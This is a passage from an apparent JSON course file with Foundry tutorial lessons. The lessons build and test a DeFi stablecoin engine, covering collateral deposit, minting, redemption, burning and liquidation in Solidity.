11, + "title": "Test the DSCEngine smart contract", + "slug": "test-defi-protocol", + "folderName": "11-defi-tests", + "description": "Understand the process and importance of testing DSCEngine smart contracts in DeFi, including methodologies, best practices, and common test scenarios.", + "duration": 12, + "videoUrl": "o61Ek5XatNE", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/11-defi-tests/+page.md", + "markdownContent": "---\ntitle: Tests\n---\n\n_Follow along the course with this video._\n\n\n\n# Developing Unit Tests for Smart Contracts using Deploy Scripts\n\nHello, developers! In the process of writing our smart contracts, it's incredibly crucial that we have a comprehensive testing suite. Recently, I came across a method that could potentially streamline your testing process. By incorporating the use of deploy scripts into the creation of our unit tests, we can test as we write our code, thereby making the entire development process much smoother. Intrigued yet? Let's dive right in!\n\n## Starting with Preliminaries: DSCEngine Test\n\nBefore we can begin testing, let's first establish why we are doing this in the first place. If you recall, our DSCEngine has a series of functions that we must validate. Functions such as `getUsdValue`, `getAccountCollateralValue` are crucial to check. Moreover, we also need to ensure that Minting, the constructor, and depositing work effectively.\n\nAs we embark on testing these functions, we will concurrently write tests and deploy scripts to ensure that glaring mistakes are spotted immediately—ideally reducing the need to refactor or rewrite code. The biggest advantage here is that an improved confidence in the correctness of your code can directly speed up your coding process.\n\nWe'll start by setting up the `DSCEngineTest.t.sol` contract.\n\n```javascript\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\nimport {Test} from \"forge-std/Test.sol\";\n\n\nContract DSCEngineTest is Test {\n\n}\n```\n\nIn the function `setUp`, we'll need to deploy our contract. We do this by importing `DeployDSC` from the `DeployDSC.s.sol` file and then creating a new instance of `DeployDSC` called `deployer`. On top of that, we'll also need to import the `DecentralizedStableCoin` and `DSCEngine` contracts from their respective solidity files.\n\n```javascript\n//SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\nimport {Test} from \"forge-std/Test.sol\";\nimport {DeployDSC} from \"../../script/DeployDSC.s.sol\";\nimport {DSCEngine} from \"../../src/DSCEngine.sol\";\nimport {DecentralizedStableCoin} from \"../../src/DecentralizedStableCoin.sol\";\nimport {HelperConfig} from \"../../script/HelperConfig.s.sol\";\n\n\nContract DSCEngineTest is Test {\n DeployDSC deployer;\n DecentralizedStableCoin dsc;\n DSCEngine dsce;\n HelperConfig config;\n\n function setUp() public {\n deployer = new DeployDSC();\n (dsc, dsce, config) = deployer.run();\n }\n}\n```\n\nPlease note: It is pretty handy to use GitHub copilot or any AI that you prefer to assist in these scenarios.\n\n## Establishing the First Test: Price Feeds\n\nWith our contract now set up, let's move on to creating the first actual test. Here, we want to validate our `getUsdValue` function.\n\n```javascript\nfunction testGetUsdValue() public {\n //Test goes here//\n}\n```\n\nFor this particular test, we need to pass a token address and an amount. We can easily fetch these tokens from our `helperConfig`. Also, let's handle the `ethUsdPriceFeed` and `weth` at this stage.\n\n```javascript\nContract DSCEngineTest is Test {\n DeployDSC deployer;\n DecentralizedStableCoin dsc;\n DSCEngine dsce;\n HelperConfig config;\n address ethUsdPriceFeed;\n address weth;\n\n ...\n\n}\n\n```\n\nIn the `setUp` function, we'll get the `weth` and `ethUsdPriceFeed` addresses from the HelperConfig, like so:\n\n```javascript\n (ethUsdPriceFeed,, weth,,) = config.activeNetworkConfig();\n```\n\nNext, let's calculate the expected USD value assuming that there are 15 ETH, each priced at $2,000. The calculation would be simple: `15ETH * $2000 per ETH = $30,000`. Afterward, we call the `getusdvalue` function on the DSC engine and compare the expected and actual USD amounts. The test function should look something like this:\n\n```javascript\n function testGetUsdValue() public {\n uint256 ethAmount = 15e18;\n // 15e18 ETH * $2000/ETH = $30,000e18\n uint256 expectedUsd = 30000e18;\n uint256 usdValue = dsce.getUsdValue(weth, ethAmount);\n assertEq(usdValue, expectedUsd);\n }\n```\n\nWe can run this test by using the following command in our terminal:\n\n```bash\nforge test -mt testGetUsdValue\n```\n\n...and if everything went smoothly, it should pass! Great work!\n\nThe previous section might appear as lots of steps for a single test, but I have found this approach of integrating my deploy scripts into my test suite from the beginning quite helpful. However, depending on your project needs, you may choose to use them as integration tests.\n\n## Dealing with Depositing Collateral\n\nWith our first test written and running fine, let's shift our focus to the next critical function, `depositCollateral`. For this test, we'll imitate a user and deposit collateral. Here, we are taking advantage of the prank functionality to temporarily modify the global state.\n\n```javascript\n function testRevertsIfCollateralZero() public {\n vm.startPrank(user);\n ERC20Mock(weth).approve(address(dsce), amountCollateral);\n\n vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);\n dsce.depositCollateral(weth, 0);\n vm.stopPrank();\n }\n```\n\nThinking about it, we may want to mint the user some weth. As this could be used in more than one test, it would be efficient to do this right in the setup. Doing this in the setup ensures that it won't have to be performed for every single test. Don't forget to import `ERC20Mock` from OpenZeppelin for this.\n\nImport\n\n```javascript\nimport { ERC20Mock } from \"@openzeppelin/contracts/mocks/ERC20Mock.sol\";\n```\n\nsetUp\n\n```javascript\n uint256 amountCollateral = 10 ether;\n uint256 public constant STARTING_USER_BALANCE = 10 ether;\n\n function setUp() external {\n DeployDSC deployer = new DeployDSC();\n (dsc, dsce, helperConfig) = deployer.run();\n (ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();\n\n ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);\n ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);\n }\n```\n\nFor now, I am content with these tests. However, eventually, we will likely need a test for collateral being deposited into these data structures. Then again, testing is a continuous process. As you write your code, keep writing tests and _don't stop_. Remember, there isn't an absolute, singular process that works for all, but experimenting and finding what works for you is the key.\n\nI hope you enjoyed this in-depth tutorial on writing unit tests for your smart contracts using deploy scripts. Incorporating these practices can significantly aid you in constructing robust, error-free smart contracts. Experience the difference today! Happy coding!\n\n\n", + "updates": [] + }, + { + "id": "8a83df4b-a80d-4593-a713-c8bfc26bfb6b", + "number": 12, + "title": "Create the depositAndMint function", + "slug": "defi-deposit-and-mint-function", + "folderName": "12-defi-deposit-and-mint", + "description": "This lesson focuses on developing a combined deposit and mint function in DeFi, emphasizing its efficiency and integration into the DeFi framework.", + "duration": 3, + "videoUrl": "y7CXGz4LpFw", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/12-defi-deposit-and-mint/+page.md", + "markdownContent": "---\ntitle: depositCollateralAndMintDSC\n---\n\n_Follow along the course with this video._\n\n\n\n# Adding Functionality to Our Smart Contract: One-Stop for Depositing Collateral and Minting DSC\n\nWelcome back! As we continue down the road on our smart contract journey, we've now arrived at an important crossroads. To refresh your memory, we've successfully developed a method for depositing collateral and a separate procedure for minting our native token, the DSC.\n\nOur tests here have been exploratory in nature and although we're assuming these functions are operationally sound, we have yet to put them under the microscope of an extensive unit test suite. However, now we're making substantial progress!\n\n## Where We Are\n\nBy now, we've not only created a way to deposit collateral and mint our DSC token, but also we've allowed for substantial access to critical information concerning our financial ecosystem. This is great! Yet, our journey is far from over. Our next step is to merge the deposit and mint mechanisms into a function we anticipate many of our protocol participants will frequently utilize — `depositCollateralAndMintDsc()`.\n\n### Why this Function?\n\nThis function is strategically important for our protocol, primarily because its purpose directly aligns with the key flow of our system: users deposit collateral and mint DSC. It combines both operations in a swift, efficient, and convenient manner. Swift and efficient because it accomplishes both operations in one transaction. Convenient because users are spared the requirement of separately interacting with two operations: `mint` and `depositCollateral`.\n\nWithout further ado, let's dive into the implementation of this function.\n\n### Merging `mint` and `depositCollateral` Functions\n\n```javascript\n function depositCollateralAndMintDsc(\n address tokenCollateralAddress,\n uint256 amountCollateral,\n uint256 amountDscToMint)\n external {\n\n depositCollateral(tokenCollateralAddress, amountCollateral);\n mintDSC(amountDscToMint);\n }\n```\n\nNote that we've shifted `depositCollateral()` and `mintDSC()` from being external to public functions, enabling them to be called within our smart contract.\n\n```javascript\n function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) public {\n //implementation\n }\n function mintDSC(uint256 amountDscToMint) public {\n //implementation\n }\n```\n\n### Adding NatSpec\n\nAs usual, we'll garnish our function with NatSpec comments to bring more clarity to our code. As we annotate `depositCollateralAndMintDsc()`, GitHub Copilot, the AI code-completion tool, proves to be a great companion.\n\n```javascript\n /*\n * @param tokenCollateralAddress: The address of the token to be deposited as collateral\n * @param amountCollateral: The amount of collateral to deposit\n * @param amountDscToMint The amount of DecentralizedStableCoin to mint\n * @notice This function will deposit your collateral and mint DSC in one transaction\n */\n function depositCollateralAndMintDSC(address tokenCollateralAddress, uint256 amountCollateral, uint256 amountDSCToMint) public {...}\n```\n\nTo paraphrase poet Oliver Holmes, we're staking out the distance between the goal and where we are now. A large chunk of our protocol now focuses on the simultaneous depositing of collateral and minting of our native stablecoin, DSC, all within one user-friendly function. We're making a major stride into simplifying and optimizing the protocol user experience.\n\n\n", + "updates": [] + }, + { + "id": "5cdf96d4-5a9f-48c4-9394-c33bacea8604", + "number": 13, + "title": "Create the redeem collateral function", + "slug": "defi-how-to-redeem-collateral", + "folderName": "13-defi-redeem-collateral", + "description": "Explore the development of a function for redeeming collateral in DeFi, including its significance, operational process, and impact on users.", + "duration": 12, + "videoUrl": "gGkl7D9Lqv0", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/13-defi-redeem-collateral/+page.md", + "markdownContent": "---\ntitle: Redeem Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# Deconstructing the 'Redeem Collateral' Function\n\nIn this section we're going to be diving deep into our `redeemCollateral` function with a focus on safe and efficient transactions for our users.\n\n## Creating the 'redeemCollateral' Function\n\nFirst things first, in order for users to redeem the collateral, they need to have a health factor above one even after their collateral is pulled out. Ensuring this is the operating protocol will maintain the platform's integrity and ensure safe transactions.\n\n```javascript\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){...}\n```\n\nIn our redeem collateral function, we start by allowing the user to select the type of collateral they would like to redeem. The function then checks the balance to ensure that the requested amount is available for withdrawal. It is crucial that there are no zero-amount transactions, as these often signify errors.\n\nTo streamline the process, we ensure this function is 'non-reentrant', meaning it can't be recursively called by an external contract, preventing potential attacks and ensuring greater safety. If necessary, these protective measures will be relayed later during a gas audit.\n\n## Ensuring Consistency\n\nIn computing science there's a concept called \"DRY: Don't Repeat Yourself\". If you find that you are writing the same code repeatedly, it's usually a sign that you need to refactor your code. Thus, while this function may currently be written in a particular style, it could be subject to change in the future to ensure that our code remains efficient and clean.\n\n## Updating Our Internal Accounting\n\nIn order to keep track of the collateral that each individual user has in their account, we use internal accounting. This eliminates the possibility of users withdrawing more collateral than they have in their accounts.\n\n```javascript\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n}\n```\n\nDigging in, the first part of our function updates our internal accounting, deducting the amount withdrawn from the account. If a user tries to withdraw more than they have, the Solidity compiler will throw an error, which is highly useful for preventing any unnecessary headaches.\n\n## Issuing Event Updates\n\nUpon updating the state, we will emit an event to reflect the redeeming of collateral, showing the message sender, the amount of collateral, and the token collateral address.\n\n```javascript\n...\nevent CollateralRedeemed(address indexed user, address indexed token, uint256 indexed amount);\n...\nfunction redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral) external nonReentrant moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n\n emit CollateralRedeemed(msg.sender, tokenCollateralAddress, amountCollateral)\n}\n```\n\n## Refactoring the Function\n\nFor now, we've written our `redeemCollateral` function to represent a single instance of someone redeeming their collateral. However, in future iterations of this code, we will likely refactor this function to make it more modular and easily applicable in different scenarios.\n\n## Implementing the CEI Pattern\n\nThe Checks-Effects-Interactions (CEI) pattern is key in ensuring a super-safe contract. First, we perform some checks on the state variables; then, we effectuate changes; finally, we interact with other contracts. We adhere to this practice tightly unless we need to check something after a token transfer has taken place. In some of these instances, we might bypass the CEI pattern but always ensure that transactions are reverted if health-factor conditions are not met.\n\n## Health Factor Maintenance\n\nThe health factor (more commonly known as the collateralization ratio) is key to evaluating the risk of a particular loan, so it's vital to ensure that the health factor doesn't break when the collateral is pulled. We've made a function to check this:\n\n```javascript\n function redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral)\n external\n nonReentrant\n moreThanZero(amountCollateral){\n s_collateralDeposited[msg.sender][tokenCollateralAddress] -= amountCollateral;\n\n emit CollateralRedeemed(msg.sender, tokenCollateralAddress, amountCollateral)\n\n bool success = IERC20(tokenCollateralAddress).transfer(msg.sender, amountCollateral);\n if (!success){\n revert DSCEngine__TransferFailed();\n }\n _revertIfHealthFactorIsBroken(msg.sender);\n }\n\n```\n\nOur `redeemCollateral` function comes with a built-in safeguard to prevent the health factor from falling below acceptable levels.\n\n## The Burn Function\n\nThe burning of DSC reflects removing debt from the system and will likely not affect the health factor since the action lowers debt rather than increasing it. Despite this, we ensure to leave room for checks to protect the integrity of the process. The `_burnDsc` function should look something similar to this:\n\n```js\n function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {\n s_DSCMinted[onBehalfOf] -= amountDscToBurn;\n\n bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);\n // This conditional is hypothetically unreachable\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n i_dsc.burn(amountDscToBurn);\n // revertIfHealthFactorIsBroken(msg.sender); - we don't think this is ever going to hit.\n }\n```\n\n## Combining Redemption and Burning of DSC\n\nIn the current process, a user first has to burn their DSC and then redeem their collateral, causing a two-transaction process. However, for convenience's sake, let's combine these two transactions into one – making the process much more fluid and efficient. We'll do this in our `redeemCollateralForDsc` function:\n\n```js\n /*\n * @param tokenCollateralAddress: The ERC20 token address of the collateral you're depositing\n * @param amountCollateral: The amount of collateral you're depositing\n * @param amountDscToBurn: The amount of DSC you want to burn\n * @notice This function will withdraw your collateral and burn DSC in one transaction\n */\n function redeemCollateralForDsc(address tokenCollateralAddress, uint256 amountCollateral, uint256 amountDscToBurn)\n external\n moreThanZero(amountCollateral)\n {\n _burnDsc(amountDscToBurn, msg.sender, msg.sender);\n _redeemCollateral(tokenCollateralAddress, amountCollateral, msg.sender, msg.sender);\n //redeem collateral already checks health factor\n }\n```\n\nDon't forget NatSpec!\n\n## Conclusion\n\nThe `redeemCollateral` function, while seemingly complex, is necessary to ensure safe, secure transactions on the blockchain. By walking through each step of the function – from creating it to refactoring it – we offer a comprehensive view of how such a function operates.\n\nWhile the structure of these functions described here may change slightly in the future, it's crucial to understand the basics: enforce checks, maintain health factors, and avoid redundant code. Happy coding!\n", + "updates": [] + }, + { + "id": "df0ffbd6-b926-4bde-84d6-3977d17ed15d", + "number": 14, + "title": "Setup liquidations", + "slug": "defi-liquidation-setup", + "folderName": "14-defi-liquidation-setup", + "description": "Dive into setting up liquidations in DeFi protocols, understanding their mechanics, importance, and their role in maintaining financial stability. ", + "duration": 17, + "videoUrl": "VbU0udZufO8", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/14-defi-liquidation-setup/+page.md", + "markdownContent": "---\ntitle: Liquidation Setup\n---\n\n_Follow along the course with this video._\n\n\n\n# Understanding and Implementing De-Fi Liquidation Function\n\nIn the world of crypto and blockchain, understanding and executing key concepts such as depositing collateral, minting stablecoins, redeeming collateral, and liquidation is essential. A user can mint our stablecoin by depositing collateral, redeem their collateral for the minted stablecoin, or burn their stablecoin to improve their health factor.\n\n## Implementing the Liquidation Function\n\nAn integral part of the system is the `liquidate()` function. This comes into play when we approach the phase of under-collateralization - we must start liquidating positions to prevent the system from crashing. Here's an example: suppose you have $100 worth of ETH backing $50 worth of DSC, and the price of ETH drops to $20. Now, we have $20 worth of ETH backing $50 worth of DSC, which makes the DSC worth less than a dollar. Hence, to prevent this scenario, positions need to be liquidated and removed from the system if the price of the collateral tanks.\n\nThe base of our `liquidate` function, with NatSpec should look like this:\n\n```js\n /*\n * @param collateral: The ERC20 token address of the collateral you're using to make the protocol solvent again.\n * This is collateral that you're going to take from the user who is insolvent.\n * In return, you have to burn your DSC to pay off their debt, but you don't pay off your own.\n * @param user: The user who is insolvent. They have to have a _healthFactor below MIN_HEALTH_FACTOR\n * @param debtToCover: The amount of DSC you want to burn to cover the user's debt.\n *\n * @notice: You can partially liquidate a user.\n * @notice: You will get a 10% LIQUIDATION_BONUS for taking the users funds.\n * @notice: This function working assumes that the protocol will be roughly 150% overcollateralized in order for this to work.\n * @notice: A known bug would be if the protocol was only 100% collateralized, we wouldn't be able to liquidate anyone.\n * For example, if the price of the collateral plummeted before anyone could be liquidated.\n */\n function liquidate(address collateral, address user, uint256 debtToCover) external moreThanZero nonReentrant {...}\n```\n\nIn cases of nearing under-collateralization, the protocol pays someone to liquidate the positions. This gamified incentive system provides an opportunity for users to earn \"free money\" by removing other people's positions in the protocol.\n\n## Bonus for Liquidators\n\nTo incentivize the liquidation process, the protocol offers a bonus for the liquidators. For example, upon liquidating $75, the liquidator can claim the whole amount by paying back $50 of DSC, effectively gaining a bonus of $25.\n\nNote that this system works only when the protocol is always over-collateralized. If the price of the collateral plummets before anyone can liquidate, the bonuses would no longer be available to the liquidators.\n\n## Checking the User's Health Factor\n\nThe first thing we have to be sure of when calling the `liquidate` function is, can this user be liquidated? We're going to implement a check which will revert if the user's health factor is OK. Fortunately we already have a function we can use to check (`healthFactor()`)!\n\n```js\n...\nerror DSCEngine__HealthFactorOk();\n...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant {\n uint256 startingUserHealthFactor = _healthFactor(user);\n if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {\n revert DSCEngine__HealthFactorOk();\n }\n uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);\n ...\n }\n```\n\n```js\n function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(s_priceFeeds[token]);\n (, int256 price,,,) = priceFeed.staleCheckLatestRoundData();\n // $100e18 USD Debt\n // 1 ETH = 2000 USD\n // The returned value from Chainlink will be 2000 * 1e8\n // Most USD pairs have 8 decimals, so we will just pretend they all do\n return ((usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION));\n }\n```\n\nFor a precise liquidation process, you need to know exactly how much of a token (say ETH) is equivalent to a particular amount of USD. The above function takes care of this conversion.\n\n## Liquidating and Multifying the Collateral\n\nIn order to incentivize liquidators and ensure the protocol remains over collateralized, the liquidator receives a bonus -- In our model, we've given a 10% bonus.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n uint256 private constant LIQUIDATION_BONUS = 10; // This means you get assets at a 10% discount when liquidating\n ...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n ...\n uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / 100;\n uint256 totalCollateralToRedeem = tokenAmountFromDebtCovered + bonusCollateral;\n ...\n }\n ...\n}\n```\n\nThe liquidator gets a bonus and the total collateral to redeem becomes a sum of the token amount from debt covered and the bonus collateral.\n\n## Wrapping Up\n\nIn conclusion, implementing a liquidation function in a cryptocurrency protocol guarantees its survival and stability in times of under-collateralization. Remember, in a decentralized ecosystem, the health of the system has to be maintained over and above all.\n\nIf any part of this post doesn't make sense, don't hesitate to ask in the discussions forum, or Google it. Use the resources that you have to your advantage! In the next part we'll be refactoring and finishing up the `liquidate()` function.\n", + "updates": [] + }, + { + "id": "7376cbd3-3cbd-4335-8d15-56868dfcd8ae", + "number": 15, + "title": "Refactor liquidations", + "slug": "defi-liquidation-refactor", + "folderName": "15-defi-liquidation-refactor", + "description": "This lesson focuses on refining the DeFi protocol by refactoring the 'redeemCollateral()' function. It covers the importance of testing and refactoring for building a reliable DeFi protocol, enhancing security, and improving functionality.", + "duration": 13, + "videoUrl": "UhcyoZyIF5M", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/15-defi-liquidation-refactor/+page.md", + "markdownContent": "---\ntitle: Liquidation Refactor\n---\n\n_Follow along the course with this video._\n\n\n\n# Creating a Robust DeFi Protocol\n\nHello everyone and welcome back! In this section, we will discuss the importance of thorough testing and regular refactoring to build a robust and reliable decentralized finance (DeFi) protocol, we will also illustrate how code modifications can improve protocol functionality.\n\n## Refining a DeFi protocol\n\nLet's talk about the `redeemCollateral()` function in our DeFi protocol. Currently, it's a public function and takes token collateral address and amount collateral as inputs. It's hardcoded to the message sender, which works perfectly if the token collateral, address, and amount collateral belong to the person calling the function. However, it fails when we need to redeem someone else's collateral, as in the case of a third-party user with bad debt.\n\n\n\nWith our DeFi protocol, we need to enhance this feature by augmenting our code. Thankfully, code modification can resolve this.\n\n### Internal redeem collateral function\n\n\n\nRefactoring the code lets us create an internal `_redeemCollateral()` function to redeem collateral from anyone. Creating an internal function makes it accessible only by other functions within the contract, therefore enhancing the protocol's security by preventing unauthorized usage.\n\n```js\nfunction _redeemCollateral (address tokenCollateralAddress, uint256 amountCollateral, address from, address to) private {...}\n```\n\nWe can include `address from` and `address to` in our input parameters in our internal function to enhance functionality. So, when someone undergoes liquidation, an address can be given from which to redeem and another one to receive the rewards.\n\nWe then move the original code in the public redeem collateral function to our newly created private function. We revise `msg.sender` to `from` and update our `CollateralRedeemed` event info accordingly.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n event CollateralRedeemed(address indexed redeemFrom, address indexed redeemTo, address token, uint256 amount); // if redeemFrom != redeemedTo, then it was liquidated\n ...\n function _redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral, address from, address to)\n private\n {\n s_collateralDeposited[from][tokenCollateralAddress] -= amountCollateral;\n emit CollateralRedeemed(from, to, tokenCollateralAddress, amountCollateral);\n bool success = IERC20(tokenCollateralAddress).transfer(to, amountCollateral);\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n }\n ...\n}\n```\n\nThis provides internal function usage in our public redeem collateral function. We then replace the original code with a call to our `_redeemCollateral` function, passing appropriate addresses for liquidation or redemption.\n\n```js\n function redeemCollateral(address tokenCollateralAddress, uint256 amountCollateral)\n external\n moreThanZero(amountCollateral)\n nonReentrant\n {\n _redeemCollateral(tokenCollateralAddress, amountCollateral, msg.sender, msg.sender);\n revertIfHealthFactorIsBroken(msg.sender);\n }\n```\n\nFinally, in the liquidation process, we use `_redeemCollateral` to pull collateral from the user undergoing liquidation and transfer the amount to whoever called the `liquidate` function.\n\n```js\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n uint256 startingUserHealthFactor = _healthFactor(user);\n if (startingUserHealthFactor >= MIN_HEALTH_FACTOR) {\n revert DSCEngine__HealthFactorOk();\n }\n // If covering 100 DSC, we need to $100 of collateral\n uint256 tokenAmountFromDebtCovered = getTokenAmountFromUsd(collateral, debtToCover);\n // And give them a 10% bonus\n // So we are giving the liquidator $110 of WETH for 100 DSC\n // We should implement a feature to liquidate in the event the protocol is insolvent\n // And sweep extra amounts into a treasury\n uint256 bonusCollateral = (tokenAmountFromDebtCovered * LIQUIDATION_BONUS) / 100;\n // Burn DSC equal to debtToCover\n // Figure out how much collateral to recover based on how much burnt\n _redeemCollateral(collateral, tokenAmountFromDebtCovered + bonusCollateral, user, msg.sender);\n ...\n }\n```\n\n## Iterative Refactoring\n\nIterative refactoring is indispensable for boosting protocol performance. In our case, besides revising the `redeemCollateral()` function, the `burnDSC()` function required a similar treatment. Just as in the redeem function, we created an internal `_burnDSC()` function to allow burning from any address.\n\nThe principal code changes entailed revising `msg.sender` to `onBehalfOf` and `dscFrom` within the burning event. Ensuring proper comments inside our code, specify that this internal function should only be called if the health factor checks are in place.\n\n```js\n ...\n function burnDsc(uint256 amount) external moreThanZero(amount) {\n _burnDsc(amount, msg.sender, msg.sender);\n revertIfHealthFactorIsBroken(msg.sender); // I don't think this would ever hit...\n }\n ...\n function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {\n s_DSCMinted[onBehalfOf] -= amountDscToBurn;\n\n bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);\n // This conditional is hypothetically unreachable\n if (!success) {\n revert DSCEngine__TransferFailed();\n }\n i_dsc.burn(amountDscToBurn);\n }\n ...\n```\n\nApplying these changes to the public `burnDSC()` function allows us to incorporate the burn DSC feature into the liquidation process. Here, the liquidator pays down the debt, thus reducing the minted DSC.\n\n```js\n ...\n function liquidate(address collateral, address user, uint256 debtToCover)\n external\n moreThanZero(debtToCover)\n nonReentrant\n {\n ...\n _redeemCollateral(collateral, tokenAmountFromDebtCovered + bonusCollateral, user, msg.sender);\n _burnDsc(debtToCover, user, msg.sender);\n\n uint256 endingUserHealthFactor = _healthFactor(user);\n // This conditional should never hit, but just in case\n if (endingUserHealthFactor <= startingUserHealthFactor) {\n revert DSCEngine__HealthFactorNotImproved();\n }\n revertIfHealthFactorIsBroken(msg.sender);\n }\n ...\n```\n\nNote that we've also created Health Factor checks to ensure the integrity of the accounts of both the liquidator and the liquidatee is safe throughout this process.\n\n\n\nAfter such modifications, we should thoroughly validate protocol operation.\n\n## Running tests and fine-tuning\n\nProper unit testing is crucial for creating a solid DeFi protocol. It ensures the code correctly handles various scenarios and edge cases. With modifications in place, we must fix any syntax errors and ensure our code compiles successfully. Regression testing can then assure us that the changes haven't caused any unforeseeable issues that cause existing features to break.\n\nIt is also crucial to keep a clear and coherent code structure with neat comments and clear variable names. This practice not only helps in debugging, but also aids security auditors and other developers in understanding the code smoothly.\n\n\n\nTakeaways:\n\n- Good readable code along with comprehensive unit tests builds a strong DeFi protocol.\n- Regular refactoring helps us improve protocol functionality, decrease chances of bugs and increases code maintainability.\n- Adherence to CHECKS-EFFECTS-INTERACTIONS pattern ensures contract's state doesn't change unexpectedly during a transaction.\n\nIn the next few sections, we'll dive deep into testing methodologies and bug management. But for now, take that much-deserved break. So stretch those legs, fuel up, and meet us back here soon. Happy Coding!\n", + "updates": [] + }, + { + "id": "35970bac-04ed-4d1a-93e1-8d71cb2486af", + "number": 16, + "title": "DSCEngine advanced testing", + "slug": "defi-protocols-advanced-testings-testing", + "folderName": "16-defi-leveling-up-testing", + "description": "This lesson dives into advanced testing techniques for Ethereum smart contracts using Foundry. It emphasizes the significance of testing for function initialization and demonstrates constructing and executing thorough test cases.", + "duration": 17, + "videoUrl": "_uSoXLzttqE", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/16-defi-leveling-up-testing/+page.md", + "markdownContent": "---\ntitle: Leveling Up Testing\n---\n\n_Follow along the course with this video._\n\n\n\n# In-depth Guide to Testing for the Ethereum Smart Contract\n\nWriting tests for Ethereum smart contracts can be challenging even for experienced developers. In this section, I will guide you through some practical techniques to improve your testing structure using Foundry, our robust solidity framework. Note that this is a hands-on guide, so please open up your terminal to follow along.\n\n## Getting Started\n\nUsually, getting started is the hardest part. Open up your terminal, let's dive in. Our aim is to increase our code coverage.\n\n```bash\nforge coverage\n```\n\n## Constructor and Price Feed Tests\n\nLet's begin with some constructor tests. We will also want to set up some price feed tests. These will confirm whether things have been initialized correctly in our code. 'What are we testing?' you may ask. Your query should lead you to the constructor in your code. Check that you are correctly reverting when token lengths are not matching. For this test, you will need to create some address arrays — one for token addresses and another for price feed addresses.\n\nHere's our first constructor test:\n\n```js\n ///////////////////////\n // Constructor Tests //\n ///////////////////////\n address[] public tokenAddresses;\n address[] public feedAddresses;\n\n function testRevertsIfTokenLengthDoesntMatchPriceFeeds() public {\n tokenAddresses.push(weth);\n feedAddresses.push(ethUsdPriceFeed);\n feedAddresses.push(btcUsdPriceFeed);\n\n vm.expectRevert(DSCEngine.DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch.selector);\n new DSCEngine(tokenAddresses, feedAddresses, address(dsc));\n }\n```\n\nYour code should revert and pass the test. If it does, bravo! If it doesn't, you'll have to review your logic and keep debugging until it works.\n\nWe also want to test our `getTokenAmountFromUsd()` functon:\n\n```js\n //////////////////\n // Price Tests //\n //////////////////\n\n function testGetTokenAmountFromUsd() public {\n // If we want $100 of WETH @ $2000/WETH, that would be 0.05 WETH\n uint256 expectedWeth = 0.05 ether;\n uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 100 ether);\n assertEq(amountWeth, expectedWeth);\n }\n```\n\n## The Holy Grail of Tests: Is the Deposit Collateral Reverting?\n\nLet's now proceed to test more of our `depositCollateral()` function, specifically checking the it reverts with unapproved tokens. Dive into the `depositCollateral()` function in your code, our test is going to look something like this:\n\n```js\n function testRevertsWithUnapprovedCollateral() public {\n ERC20Mock randToken = new ERC20Mock(\"RAN\", \"RAN\", user, 100e18);\n vm.startPrank(user);\n vm.expectRevert(abi.encodeWithSelector(DSCEngine.DSCEngine__TokenNotAllowed.selector, address(randToken)));\n dsce.depositCollateral(address(randToken), amountCollateral);\n vm.stopPrank();\n }\n```\n\nThe result of this test should show a revert.\n\n## Testing Getter Functions\n\nWhen you write your getter functions, also write tests for them. We've written a public verson of the `_getAccountInformation()` function.\n\n```js\n...\ncontract DSCEngine is ReentrancyGuard {\n ...\n function getAccountInformation(address user)\n external\n view\n returns (uint256 totalDscMinted, uint256 collateralValueInUsd)\n {\n return _getAccountInformation(user);\n }\n ...\n}\n```\n\nEnsure that the return values of this function are correct by asserting the output in our test. Note: we've created a modifier here to make it easier to test already deposited collateral.\n\n```js\n...\ncontract DSCEngineTest is StdCheats, Test {\n ...\n modifier depositedCollateral() {\n vm.startPrank(user);\n ERC20Mock(weth).approve(address(dsce), amountCollateral);\n dsce.depositCollateral(weth, amountCollateral);\n vm.stopPrank();\n _;\n }\n ...\n function testCanDepositedCollateralAndGetAccountInfo() public depositedCollateral 